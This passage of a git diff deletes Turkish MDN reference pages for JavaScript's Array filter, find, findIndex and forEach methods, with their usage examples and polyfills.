<dd>Dizide işlenen geçerli öğenin dizini</dd> - <dt><code>array</code>{{optional_inline}}</dt> - <dd>The array <code>filter</code> was called upon.</dd> - </dl> - </dd> - <dt><code>thisArg</code>{{optional_inline}}</dt> - <dd><code>callback</code> çalıştığı zaman <code>this</code> olarak kullanmak için değerdir.</dd> -</dl> - -<h3 id="Dönüş_değer">Dönüş değer</h3> - -<p>Testi geçen öğeler içeren yeni bir dizi. Hiçbir öğe testi geçemezse, boş bir dizi döndürülür.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>filter ()</code>, bir dizideki her öğe için sağlanan bir geri çağırma işlevini çağırır ve geri çağrmanın (callback) doğru olan bir değer döndürdüğü tüm değerler için yeni bir dizisini oluşturur. Geri çağırma (callback), yalnızca atanmış değerleri olan dizinin dizinleri için çağrılır; silinmiş veya hiçbir zaman değer atanmamış indeksler için çağrılmaz. Filtre testini geçmeyen dizi öğeleri basitçe atlanır ve yeni diziye dahil edilmez.</p> - -<p><code>Geri Çağırma (callback)</code> 3 argüman ile çağırılır.</p> - -<ol> - <li>elementin değeri</li> - <li>elementin indeksi</li> - <li>Array nesnesinin geçişi</li> -</ol> - -<p>Filtrelemek için bir thisArg parametresi varsa, geri çağırma (callback) bu değer olarak kullanılacaktır. Aksi halde undefined değeri bu değer olarak kullanılacaktır. <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">Sonuçta geri çağırma ile gözlenebilen this değeri, bir işlev tarafından görülenlerin belirlenmesi için kullanılan genel kurallara göre belirlenir.</a></p> - -<p><code>filter()</code> çağrıldığı diziyi değiştirmez.</p> - -<p><code>filter()</code> tarafından işlenen elemanların aralığı, ilk geri çağırma <code>callback</code> çağrısından önce ayarlanır. <code>filter()</code> çağrısı başladıktan sonra diziye eklenen öğeler, geri çağırma <code>callback</code> tarafından ziyaret edilmeyecektir. Dizinin mevcut elemanları değiştirilir veya silinirse, geri çağırmaya <code>callback</code> iletilen değerleri <code>filter()</code> tarafından ziyaret edilen zamanın değeri olacaktır; silinen öğeler ziyaret edilmez.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Tüm_küçük_değerleri_filtrelemek">Tüm küçük değerleri filtrelemek</h3> - -<p>Aşağıdaki örnek, tüm öğeleri 10'dan daha küçük değerlere sahip filtreli bir dizi oluşturmak için <code>filter()</code> kullanır.</p> - -<pre class="brush: js">function isBigEnough(value) { - return value >= 10; -} - -var filtered = [12, 5, 8, 130, 44].filter(isBigEnough); -// filtered is [12, 130, 44] -</pre> - -<h3 id="JSON'dan_geçersiz_girişleri_filtrelemek">JSON'dan geçersiz girişleri filtrelemek</h3> - -<p>Aşağıdaki örnek, 0 olmayan,numeric <code>id</code> olan tüm öğelerin filtrelenmiş bir jsonunu oluşturmak için <code>filter()</code> işlevini kullanır. </p> - -<pre class="brush: js">var arr = [ - { id: 15 }, - { id: -1 }, - { id: 0 }, - { id: 3 }, - { id: 12.2 }, - { }, - { id: null }, - { id: NaN }, - { id: 'undefined' } -]; - -var invalidEntries = 0; - -function isNumber(obj) { - return obj !== undefined && typeof(obj) === 'number' && !isNaN(obj); -} - -function filterByID(item) { - if (isNumber(item.id) && item.id !== 0) { - return true; - } - invalidEntries++; - return false; -} - -var arrByID = arr.filter(filterByID); - -console.log('Filtered Array\n', arrByID); -// Filtered Array -// [{ id: 15 }, { id: -1 }, { id: 3 }, { id: 12.2 }] - -console.log('Number of Invalid Entries = ', invalidEntries); -// Number of Invalid Entries = 5 -</pre> - -<h3 id="Array_içinde_arama_yapmak">Array içinde arama yapmak</h3> - -<p> </p> - -<p>Aşağıdaki örnek, arama keriterlerine göre dizi içeriğini filtrelemek için filter() işlevini kullanır</p> - -<p> </p> - -<pre class="brush: js">var fruits = ['apple', 'banana', 'grapes', 'mango', 'orange']; - -/** - * Array filters items based on search criteria (query) - */ -function filterItems(query) { - return fruits.filter(function(el) { - return el.toLowerCase().indexOf(query.toLowerCase()) > -1; - }) -} - -console.log(filterItems('ap')); // ['apple', 'grapes'] -console.log(filterItems('an')); // ['banana', 'mango', 'orange']</pre> - -<h3 id="ES2015_İmplementasyonu">ES2015 İmplementasyonu</h3> - -<pre class="brush: js">const fruits = ['apple', 'banana', 'grapes', 'mango', 'orange']; - -/** - * Array filters items based on search criteria (query) - */ -const filterItems = (query) => { - return fruits.filter(el => el.toLowerCase().indexOf(query.toLowerCase()) > -1); -}; - -console.log(filterItems('ap')); // ['apple', 'grapes'] -console.log(filterItems('an')); // ['banana', 'mango', 'orange'] - -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>5. basımda ECMA-262 standardına filter () eklenmiştir; bu nedenle standardın tüm uygulamalarında bulunmayabilir. Bu kodu, komut dosyalarınızın başına aşağıdaki kodu ekleyerek ve doğal olarak desteklemeyen ECMA-262 uygulamalarında filter() kullanımına izin vererek çözebilirsiniz. Bu algoritma, fn.call öğesinin {{jsxref ("Function.prototype.bind ()")}} özgün değerini değerlendirdiğini varsayarsak, ECMA-262, 5. basımda belirtilene tamamen eşdeğerdir ve bu {{jsxref ("Array.prototype.push ()")}} orijinal değerine sahiptir</p> - -<pre class="brush: js">if (!Array.prototype.filter){ - Array.prototype.filter = function(func, thisArg) { - 'use strict'; - if ( ! ((typeof func === 'Function' || typeof func === 'function') && this) ) - throw new TypeError(); - - var len = this.length >>> 0, - res = new Array(len), // preallocate array - t = this, c = 0, i = -1; - if (thisArg === undefined){ - while (++i !== len){ - // checks to see if the key was set - if (i in this){ - if (func(t[i], i, t)){ - res[c++] = t[i]; - } - } - } - } - else{ - while (++i !== len){ - // checks to see if the key was set - if (i in this){ - if (func.call(thisArg, t[i], i, t)){ - res[c++] = t[i]; - } - } - } - } - - res.length = c; // shrink down array to proper size - return res; - }; -}</pre> - -<p> </p> - -<h2 id="Özellikler">Özellikler</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Özellikler</th> - <th scope="col">Statüler</th> - <th scope="col">Yorumlar</th> - </tr> - <tr> - <td>{{SpecName('ES5.1', '#sec-15.4.4.20', 'Array.prototype.filter')}}</td> - <td>{{Spec2('ES5.1')}}</td> - <td>İlk tanım JavaScript 1.6'da uygulanmıştır.</td> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td> </td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.filter', 'Array.prototype.filter')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div> -<div class="hidden">Bu sayfadaki uyumluluk tablosu yapılandırılmış verilerden üretilmiştir. Verilere katkıda bulunmak istiyorsanız, lütfen https://github.com/mdn/browser-compat-data adresini ziyaret edin ve bize bir istek gönderin.</div> - -<p>{{Compat("javascript.builtins.Array.filter")}}</p> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Array.prototype.forEach()")}}</li> - <li>{{jsxref("Array.prototype.every()")}}</li> - <li>{{jsxref("Array.prototype.some()")}}</li> - <li>{{jsxref("Array.prototype.reduce()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/find/index.html b/files/tr/web/javascript/reference/global_objects/array/find/index.html deleted file mode 100644 index 76d5e38687..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/find/index.html +++ /dev/null @@ -1,205 +0,0 @@ ---- -title: Array.prototype.find() -slug: Web/JavaScript/Reference/Global_Objects/Array/find -translation_of: Web/JavaScript/Reference/Global_Objects/Array/find ---- -<div>{{JSRef}}</div> - -<p><code><strong>find()</strong></code> metodu parametre olarak verilen, true/false değer döndüren test fonksiyonunu karşılayan dizi içerisindeki ilk elemanın <strong>değerini</strong> döndürür. Aksi halde {{jsxref("undefined")}} döndürür.</p> - -<pre class="brush: js">function yeterinceBuyuk(eleman) { - return eleman >= 15; -} - -[12, 5, 8, 130, 44].find(yeterinceBuyuk); // 130</pre> - -<p>Ayrıca {{jsxref("Array.findIndex", "findIndex()")}} metoduna bakınız, bu metod dizi içerisinde bulunan elemanın değeri yerine <strong>indeksini</strong> döndürür.</p> - -<p>Dizi içerisindeki elemanın pozizyonunu bulmak ya da var olup olmadığına bakmak için {{jsxref("Array.prototype.indexOf()")}} veya {{jsxref("Array.prototype.includes()")}} kullanabilirsiniz.</p> - -<h2 id="Sözdizim">Sözdizim</h2> - -<pre class="syntaxbox"><em>arr</em>.find(<var>gericagrim</var>[, <var>thisArg</var>])</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>gericagrim</code></dt> - <dd>Dizi içerisindeki her bir değer için çalıştırılacak fonksiyon, üç parametre alır: - <dl> - <dt><code>eleman</code></dt> - <dd>Dizideki işlenen mevcut eleman.</dd> - <dt><code>indeks</code></dt> - <dd>Dizideki işlenen mevcut elemanın indeksi.</dd> - <dt><code>dizi</code></dt> - <dd><code>find</code> metodunun çağırıldığı dizi.</dd> - </dl> - </dd> - <dt><code>thisArg</code> <code>{{Optional_inline}}</code></dt> - <dd> <code>gericagrim</code> çalıştığında <code>this</code> olarak kullanılan nesne.</dd> -</dl> - -<h3 id="Dönüş_değeri">Dönüş değeri</h3> - -<p>Eğer test doğrulanırsa dizi içerisindeki bir değer; değilse, {{jsxref("undefined")}}.</p> - -<h2 id="Açıklama">Açıklama</h2> - -<p><code>find</code> metodu <code>gericagrim</code> fonksiyonu doğru bir değer döndürene kadar her bir indeks için bir sefer <code>gericagrim</code> fonksiyonunu çalıştırır. Eğer böyle bir eleman bulunduysa, <code>find</code> derhal bu elemanın değerini döndürür. Aksi halde, <code>find</code> {{jsxref("undefined")}} döndürür. <code>gericagrim</code> <code>0</code> dan <code>length - 1</code> dahil olmak üzere değer atanan ya da atanmayan dizinin her bir elemanı için çağırılır. Bu, aralıklı diziler için sadece değer atanan indeksleri ziyaret eden diğer metodlardan daha verimsiz olduğu anlamına gelmektedir. </p> - -<p><code>gericagrim</code> üç parametre ile çağırılır: dizi elemanının değeri, dizi elemanının indeksi, ve geçilen dizi nesnesi.</p> - -<p>Eğer bir <code>thisArg</code> parametresi <code>find</code> için sağlanırsa, bu parametre <code>gericagrim</code> fonksiyonunun her çağırılışı için <code>this</code> olarak kullanılacaktır. Eğer sağlanmazsa, {{jsxref("undefined")}} kullanılır.</p> - -<p><code>find</code> üzerinde çağırıldığı diziyi değiştirmez.</p> - -<p><code>find</code> tarafından işlenilen elemanların aralığı <code>gericagrim</code> fonksiyonunun ilk çağırılışından önce atanır. <code>find</code> çağırılmaya başlandığından sonra diziye eklenen elemanlar <code>gericagrim</code> tarafından ziyaret edilmeyecektir. Eğer varolan, ziyaret edilmeyen eleman <code>gericagrim</code> tarafından değiştirilirse, bu elemanı ziyaret eden <code>gericagrim</code> fonkisyonuna aktarılan değeri <code>find</code> metodunun bu elemanın indeksini ziyaret edeceği andaki değer olacaktır; silenen elemanlar yine de ziyaret edilecektir.</p> - -<h2 id="Örnekler">Örnekler</h2> - -<h3 id="Dizi_içerisindeki_nesneyi_bir_özelliğinden_bulmak">Dizi içerisindeki nesneyi bir özelliğinden bulmak</h3> - -<pre class="brush: js">var envanter = [ - {isim: 'elma', miktar: 2}, - {isim: 'muz', miktar: 0}, - {isim: 'kiraz', miktar: 5} -]; - -function kirazlariBul(meyve) { - return meyve.isim === 'kiraz'; -} - -console.log(envanter.find(kirazlariBul)); -// { isim: 'kiraz', miktar: 5 }</pre> - -<h3 id="Dizi_içerisindeki_bir_asal_sayıyı_bulmak">Dizi içerisindeki bir asal sayıyı bulmak</h3> - -<p>Aşağıdaki örnek dizi içerisindeki bir asal sayı olan elemanı bulur (ya da eğer asal sayı yoksa {{jsxref("undefined")}} döndürür).</p> - -<pre class="brush: js">function asalMi(eleman, indeks, dizi) { - var baslangic = 2; - while (baslangic <= Math.sqrt(eleman)) { - if (eleman % baslangic++ < 1) { - return false; - } - } - return eleman > 1; -} - -console.log([4, 6, 8, 12].find(asalMi)); // undefined, bulunamadı -console.log([4, 5, 8, 12].find(asalMi)); // 5 -</pre> - -<p>Aşağıdaki örnek varolmayan ve silinen elemanların ziyaret edildiğini ve gericağrım fonksiyonuna gönderilen değerin ziyaret edildikleri andaki değerleri olduğunu gösterir.</p> - -<pre class="brush: js">// İndeks 2, 3 ve 4 için elemanı bulunmayan bir dizi tanımlar -var a = [0,1,,,,5,6]; - -// Sadece değer atanmış olanlar değil, tüm indeksleri gösterir -a.find(function(deger, indeks) { - console.log('Ziyaret edilen indeks ' + indeks + ' ve değeri ' + deger); -}); - -// Silinenler dahil, bütün indeksleri gösterir -a.find(function(deger, indeks) { - - // İndeksi 5 olan elamanı birinci iterasyonda siler - if (indeks == 0) { - console.log('a[5] siliniyor ve değeri ' + a[5]); - delete a[5]; - } - // İndeksi 5 olan elaman silinse bile yine de ziyaret edilir - console.log('Ziyaret edilen indeks ' + indeks + ' ve değeri ' + deger); -}); - -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p>Bu metod ECMAScript 2015 spesifikasyonuna eklenmiştir ve tüm JavaScript implementasyonlarında kullanıma hazır olmayabilir. Fakat, aşağıdaki kod parçacığı ile <code>Array.prototype.find</code> polyfill yapabilirsiniz:</p> - -<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.find -if (!Array.prototype.find) { - Object.defineProperty(Array.prototype, 'find', { - value: function(predicate) { - // 1. Let O be ? ToObject(this value). - if (this == null) { - throw new TypeError('"this" is null or not defined'); - } - - var o = Object(this); - - // 2. Let len be ? ToLength(? Get(O, "length")). - var len = o.length >>> 0; - - // 3. If IsCallable(predicate) is false, throw a TypeError exception. - if (typeof predicate !== 'function') { - throw new TypeError('predicate must be a function'); - } - - // 4. If thisArg was supplied, let T be thisArg; else let T be undefined. - var thisArg = arguments[1]; - - // 5. Let k be 0. - var k = 0; - - // 6. Repeat, while k < len - while (k < len) { - // a. Let Pk be ! ToString(k). - // b. Let kValue be ? Get(O, Pk). - // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)). - // d. If testResult is true, return kValue. - var kValue = o[k]; - if (predicate.call(thisArg, kValue, k, o)) { - return kValue; - } - // e. Increase k by 1. - k++; - } - - // 7. Return undefined. - return undefined; - } - }); -} -</pre> - -<p>Eğer <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code> desteği bulunmayan tamamen eskimiş JavaScript motorları için ihtiyacınız varsa, <code>Array.prototype</code> metodlarını polyfill yapmamanız en doğrusudur, çünkü bu metodlar numaralandırılabilir olmayan metodlardır.</p> - -<h2 id="Spesifikasyonlar">Spesifikasyonlar</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spesifikasyon</th> - <th scope="col">Durum</th> - <th scope="col">Açıklama</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-array.prototype.find', 'Array.prototype.find')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>İlk tanım.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.find', 'Array.prototype.find')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Tarayıcı_uyumluluğu">Tarayıcı uyumluluğu</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.find")}}</p> -</div> - -<h2 id="Ayrıca_bakınız">Ayrıca bakınız</h2> - -<ul> - <li>{{jsxref("Array.prototype.findIndex()")}} – bulur ve indeksi döndürür</li> - <li>{{jsxref("Array.prototype.filter()")}} – eşleşen bütün elemanları bulur</li> - <li>{{jsxref("Array.prototype.every()")}} – bütün elemanları birlikte test eder</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/findindex/index.html b/files/tr/web/javascript/reference/global_objects/array/findindex/index.html deleted file mode 100644 index 8933892986..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/findindex/index.html +++ /dev/null @@ -1,177 +0,0 @@ ---- -title: Array.prototype.findIndex() -slug: Web/JavaScript/Reference/Global_Objects/Array/findIndex -translation_of: Web/JavaScript/Reference/Global_Objects/Array/findIndex ---- -<div>{{JSRef}}</div> - -<p>FindIndex () yöntemi, sağlanan test işlevini karşılayan dizideki ilk öğenin dizinini döndürür. Aksi takdirde -1 iade edilir.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-findindex.html")}}</div> - -<p class="hidden">Bu interaktif örneğin için kaynak bir GitHub deposunda saklanır. Etkileşimli örnek projesine katkıda bulunmak isterseniz, lütfen https://github.com/mdn/interactive-examples klonlayın ve bize bir çekme isteği gönderin.</p> - -<div> </div> - -<p>Ayrıca, dizinde bulunan dizinin yerine bulunan bir öğenin değerini döndüren {{jsxref ("Array.find", "find ()")}} yöntemine de bakın.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>arr</var>.findIndex(<var>callback</var>[, <var>thisArg</var>])</pre> - -<h3 id="Parameters">Parameters</h3> - -<dl> - <dt><code>callback</code></dt> - <dd>Function to execute on each value in the array, taking three arguments: - <dl> - <dt><code>element</code></dt> - <dd>The current element being processed in the array.</dd> - <dt><code>index</code>{{optional_inline}}</dt> - <dd>The index of the current element being processed in the array.</dd> - <dt><code>array</code>{{optional_inline}}</dt> - <dd>The array <code>findIndex</code> was called upon.</dd> - </dl> - </dd> - <dt><code>thisArg</code>{{optional_inline}}</dt> - <dd>Optional. Object to use as <code>this</code> when executing <code>callback</code>.</dd> -</dl> - -<h3 id="Return_value">Return value</h3> - -<p>An index in the array if an element passes the test; otherwise, <strong>-1</strong>.</p> - -<h2 id="Description">Description</h2> - -<p>The <code>findIndex</code> method executes the <code>callback</code> function once for every array index <code>0..length-1</code> (inclusive) in the array until it finds one where <code>callback</code> returns a truthy value (a value that coerces to <code>true</code>). If such an element is found, <code>findIndex</code> immediately returns the index for that iteration. If the callback never returns a truthy value or the array's <code>length</code> is 0, <code>findIndex</code> returns -1. Unlike some other array methods such as Array#some, in sparse arrays the <code>callback</code> <strong>is</strong> called even for indexes of entries not present in the array.</p> - -<p><code>callback</code> is invoked with three arguments: the value of the element, the index of the element, and the Array object being traversed.</p> - -<p>If a <code>thisArg</code> parameter is provided to <code>findIndex</code>, it will be used as the <code>this</code> for each invocation of the <code>callback</code>. If it is not provided, then {{jsxref("undefined")}} is used.</p> - -<p><code>findIndex</code> does not mutate the array on which it is called.</p> - -<p>The range of elements processed by <code>findIndex</code> is set before the first invocation of <code>callback</code>. Elements that are appended to the array after the call to <code>findIndex</code> begins will not be visited by <code>callback</code>. If an existing, unvisited element of the array is changed by <code>callback</code>, its value passed to the visiting <code>callback</code> will be the value at the time that <code>findIndex</code> visits that element's index; elements that are deleted are still visited.</p> - -<h2 id="Examples">Examples</h2> - -<h3 id="Find_the_index_of_a_prime_number_in_an_array">Find the index of a prime number in an array</h3> - -<p>The following example finds the index of an element in the array that is a prime number (or returns -1 if there is no prime number).</p> - -<pre class="brush: js">function isPrime(element, index, array) { - var start = 2; - while (start <= Math.sqrt(element)) { - if (element % start < 1) { - return false; - } else { - start++; - } - } - return element > 1; -} - -console.log([4, 6, 8, 12].findIndex(isPrime)); // -1, not found -console.log([4, 6, 7, 12].findIndex(isPrime)); // 2 -</pre> - -<h3 id="Find_index_using_arrow_function">Find index using arrow function</h3> - -<p>The following example finds the index of a fruit using an arrow function.</p> - -<pre class="brush: js">const fruits = ["apple", "banana", "cantaloupe", "blueberries", "grapefruit"]; - -const index = fruits.findIndex(fruit => fruit === "blueberries"); - -console.log(index); // 3 -console.log(fruits[index]); // blueberries -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<pre class="brush: js">// https://tc39.github.io/ecma262/#sec-array.prototype.findIndex -if (!Array.prototype.findIndex) { - Object.defineProperty(Array.prototype, 'findIndex', { - value: function(predicate) { - // 1. Let O be ? ToObject(this value). - if (this == null) { - throw new TypeError('"this" is null or not defined'); - } - - var o = Object(this); - - // 2. Let len be ? ToLength(? Get(O, "length")). - var len = o.length >>> 0; - - // 3. If IsCallable(predicate) is false, throw a TypeError exception. - if (typeof predicate !== 'function') { - throw new TypeError('predicate must be a function'); - } - - // 4. If thisArg was supplied, let T be thisArg; else let T be undefined. - var thisArg = arguments[1]; - - // 5. Let k be 0. - var k = 0; - - // 6. Repeat, while k < len - while (k < len) { - // a. Let Pk be ! ToString(k). - // b. Let kValue be ? Get(O, Pk). - // c. Let testResult be ToBoolean(? Call(predicate, T, « kValue, k, O »)). - // d. If testResult is true, return k. - var kValue = o[k]; - if (predicate.call(thisArg, kValue, k, o)) { - return k; - } - // e. Increase k by 1. - k++; - } - - // 7. Return -1. - return -1; - }, - configurable: true, - writable: true - }); -} -</pre> - -<p>If you need to support truly obsolete JavaScript engines that don't support <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a></code>, it's best not to polyfill <code>Array.prototype</code> methods at all, as you can't make them non-enumerable.</p> - -<h2 id="Specifications">Specifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Status</th> - <th scope="col">Comment</th> - </tr> - <tr> - <td>{{SpecName('ES2015', '#sec-array.prototype.findindex', 'Array.prototype.findIndex')}}</td> - <td>{{Spec2('ES2015')}}</td> - <td>Initial definition.</td> - </tr> - <tr> - <td>{{SpecName('ESDraft', '#sec-array.prototype.findIndex', 'Array.prototype.findIndex')}}</td> - <td>{{Spec2('ESDraft')}}</td> - <td> </td> - </tr> - </tbody> -</table> - -<h2 id="Browser_compatibility">Browser compatibility</h2> - -<div> - - -<p>{{Compat("javascript.builtins.Array.findIndex")}}</p> -</div> - -<h2 id="See_also">See also</h2> - -<ul> - <li>{{jsxref("Array.prototype.find()")}}</li> - <li>{{jsxref("Array.prototype.indexOf()")}}</li> -</ul> diff --git a/files/tr/web/javascript/reference/global_objects/array/foreach/index.html b/files/tr/web/javascript/reference/global_objects/array/foreach/index.html deleted file mode 100644 index 46d677f17a..0000000000 --- a/files/tr/web/javascript/reference/global_objects/array/foreach/index.html +++ /dev/null @@ -1,308 +0,0 @@ ---- -title: Array.prototype.forEach() -slug: Web/JavaScript/Reference/Global_Objects/Array/forEach -translation_of: Web/JavaScript/Reference/Global_Objects/Array/forEach ---- -<div>{{JSRef}}</div> - -<p><code><strong>forEach()</strong></code> metodu dizideki her eleman için verilen metodu çalıştırır.</p> - -<div>{{EmbedInteractiveExample("pages/js/array-foreach.html")}}</div> - -<p class="hidden">Bu interaktif örneğin kaynağını GitHub deposunda bulabilirsiniz. Eğer bu interaktif projelere katkı sağlamak isterseni, <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> adresindeki depoyu klonlayın ve bize pull request'i gönderin.</p> - -<h2 id="Syntax">Syntax</h2> - -<pre class="syntaxbox"><var>arr</var>.forEach(function <var>callback(currentValue[, index[, array]]) { - //your iterator -}</var>[, <var>thisArg</var>]);</pre> - -<h3 id="Parametreler">Parametreler</h3> - -<dl> - <dt><code>callback</code></dt> - <dd>Aşağıdaki üç parametreyi alan ve dizinin her elemanı için çalışan fonksiyon.</dd> - <dd> - <dl> - <dt><code>currentValue</code>{{optional_inline}}</dt> - <dd>İşlenmekte olan dizi elemanı.</dd> - <dt><code>index</code>{{optional_inline}}</dt> - <dd>İşlenmekte olan dizi elemanının indeksi, yani dizideki sırası.</dd> - <dt><code>array</code>{{optional_inline}}</dt> - <dd><code>forEach()</code> in uygulanmakta olduğu dizi.</dd> - </dl> - </dd> - <dt><code>thisArg</code> {{Optional_inline}}</dt> - <dd> - <p><code>callback</code> fonksiyonu çağırılırken, fonksiyon içerisinde <code><strong>this</strong></code> yerine kullanılılabilecek değer.</p> - </dd> -</dl> - -<h3 id="Dönüş_Değeri">Dönüş Değeri</h3> - -<p>{{jsxref("undefined")}}.</p> - -<h2 id="Tanım">Tanım</h2> - -<p><code>forEach()</code> tanımlanmış olan <code>callback</code> fonksiyonunu dizideki her eleman için bir kere olmak üzere, indeks sırasına göre artan şekilde çalıştırır. Silinmiş ya da tanımsız olan elemanlar için fonksiyon çalışmaz (örnek: seyrek diziler).</p> - -<p>Dizinin</p> - -<p><code>callback</code> çağırılırken aşağıdaki <strong>üç parametre kullanılır</strong>:</p> - -<ul> - <li>Dizi elemanının değeri</li> - <li>Dizi elemanının indeksi</li> - <li>Döngünün gerçekleştiği dizinin kendisi</li> -</ul> - -<p>If a <code>thisArg</code> parameter is provided to <code>forEach()</code>, it will be used as callback's <code>this</code> value. Otherwise, the value {{jsxref("undefined")}} will be used as its <code>this</code> value. The <code>this</code> value ultimately observable by <code>callback</code> is determined according to <a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">the usual rules for determining the <code>this</code> seen by a function</a>.</p> - -<p>The range of elements processed by <code>forEach()</code> is set before the first invocation of <code>callback</code>. Elements that are appended to the array after the call to <code>forEach()</code> begins will not be visited by <code>callback</code>. If the values of existing elements of the array are changed, the value passed to <code>callback</code> will be the value at the time <code>forEach()</code> visits them; elements that are deleted before being visited are not visited. If elements that are already visited are removed (e.g. using {{jsxref("Array.prototype.shift()", "shift()")}}) during the iteration, later elements will be skipped - see example below.</p> - -<p><code>forEach()</code> executes the <code>callback</code> function once for each array element; unlike {{jsxref("Array.prototype.map()", "map()")}} or {{jsxref("Array.prototype.reduce()", "reduce()")}} it always returns the value {{jsxref("undefined")}} and is not chainable. The typical use case is to execute side effects at the end of a chain.</p> - -<p><code>forEach()</code> does not mutate the array on which it is called (although <code>callback</code>, if invoked, may do so).</p> - -<div class="note"> -<p>There is no way to stop or break a <code>forEach()</code> loop other than by throwing an exception. If you need such behavior, the <code>forEach()</code> method is the wrong tool.</p> - -<p>Early termination may be accomplished with:</p> - -<ul> - <li>A simple loop</li> - <li>A <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for...of</a> loop</li> - <li>{{jsxref("Array.prototype.every()")}}</li> - <li>{{jsxref("Array.prototype.some()")}}</li> - <li>{{jsxref("Array.prototype.find()")}}</li> - <li>{{jsxref("Array.prototype.findIndex()")}}</li> -</ul> - -<p>The other Array methods: {{jsxref("Array.prototype.every()", "every()")}}, {{jsxref("Array.prototype.some()", "some()")}}, {{jsxref("Array.prototype.find()", "find()")}}, and {{jsxref("Array.prototype.findIndex()", "findIndex()")}} test the array elements with a predicate returning a truthy value to determine if further iteration is required.</p> -</div> - -<h2 id="Examples">Examples</h2> - -<h3 id="Converting_a_for_loop_to_forEach">Converting a for loop to forEach</h3> - -<p>before</p> - -<pre class="brush:js">const items = ['item1', 'item2', 'item3']; -const copy = []; - -for (let i=0; i<items.length; i++) { - copy.push(items[i]) -} -</pre> - -<p>after</p> - -<pre class="brush:js">const items = ['item1', 'item2', 'item3']; -const copy = []; - -items.forEach(function(item){ - copy.push(item) -}); - -</pre> - -<p> </p> - -<h3 id="Printing_the_contents_of_an_array">Printing the contents of an array</h3> - -<p>The following code logs a line for each element in an array:</p> - -<pre class="brush:js">function logArrayElements(element, index, array) { - console.log('a[' + index + '] = ' + element); -} - -// Notice that index 2 is skipped since there is no item at -// that position in the array. -[2, 5, , 9].forEach(logArrayElements); -// logs: -// a[0] = 2 -// a[1] = 5 -// a[3] = 9 -</pre> - -<h3 id="Using_thisArg">Using <code>thisArg</code></h3> - -<p>The following (contrived) example updates an object's properties from each entry in the array:</p> - -<pre class="brush:js">function Counter() { - this.sum = 0; - this.count = 0; -} -Counter.prototype.add = function(array) { - array.forEach(function(entry) { - this.sum += entry; - ++this.count; - }, this); - // ^---- Note -}; - -const obj = new Counter(); -obj.add([2, 5, 9]); -obj.count; -// 3 -obj.sum; -// 16 -</pre> - -<p>Since the <code>thisArg</code> parameter (<code>this</code>) is provided to <code>forEach()</code>, it is passed to <code>callback</code> each time it's invoked, for use as its <code>this</code> value.</p> - -<div class="note"> -<p>If passing the function argument using an <a href="/en-US/docs/Web/JavaScript/Reference/Functions/Arrow_functions">arrow function expression</a> the <code>thisArg</code> parameter can be omitted as arrow functions lexically bind the {{jsxref("Operators/this", "this")}} value.</p> -</div> - -<h3 id="An_object_copy_function">An object copy function</h3> - -<p>The following code creates a copy of a given object. There are different ways to create a copy of an object; the following is just one way and is presented to explain how <code>Array.prototype.forEach()</code> works by using ECMAScript 5 <code>Object.*</code> meta property functions.</p> - -<pre class="brush: js">function copy(obj) { - const copy = Object.create(Object.getPrototypeOf(obj)); - const propNames = Object.getOwnPropertyNames(obj); - - propNames.forEach(function(name) { - const desc = Object.getOwnPropertyDescriptor(obj, name); - Object.defineProperty(copy, name, desc); - }); - - return copy; -} - -const obj1 = { a: 1, b: 2 }; -const obj2 = copy(obj1); // obj2 looks like obj1 now -</pre> - -<h3 id="If_the_array_is_modified_during_iteration_other_elements_might_be_skipped.">If the array is modified during iteration, other elements might be skipped.</h3> - -<p>The following example logs "one", "two", "four". When the entry containing the value "two" is reached, the first entry of the whole array is shifted off, which results in all remaining entries moving up one position. Because element "four" is now at an earlier position in the array, "three" will be skipped. <code>forEach()</code> does not make a copy of the array before iterating.</p> - -<pre class="brush:js">var words = ['one', 'two', 'three', 'four']; -words.forEach(function(word) { - console.log(word); - if (word === 'two') { - words.shift(); - } -}); -// one -// two -// four -</pre> - -<h2 id="Polyfill">Polyfill</h2> - -<p><code>forEach()</code> was added to the ECMA-262 standard in the 5th edition; as such it may not be present in other implementations of the standard. You can work around this by inserting the following code at the beginning of your scripts, allowing use of <code>forEach()</code> in implementations that don't natively support it. This algorithm is exactly the one specified in ECMA-262, 5th edition, assuming {{jsxref("Object")}} and {{jsxref("TypeError")}} have their original values and 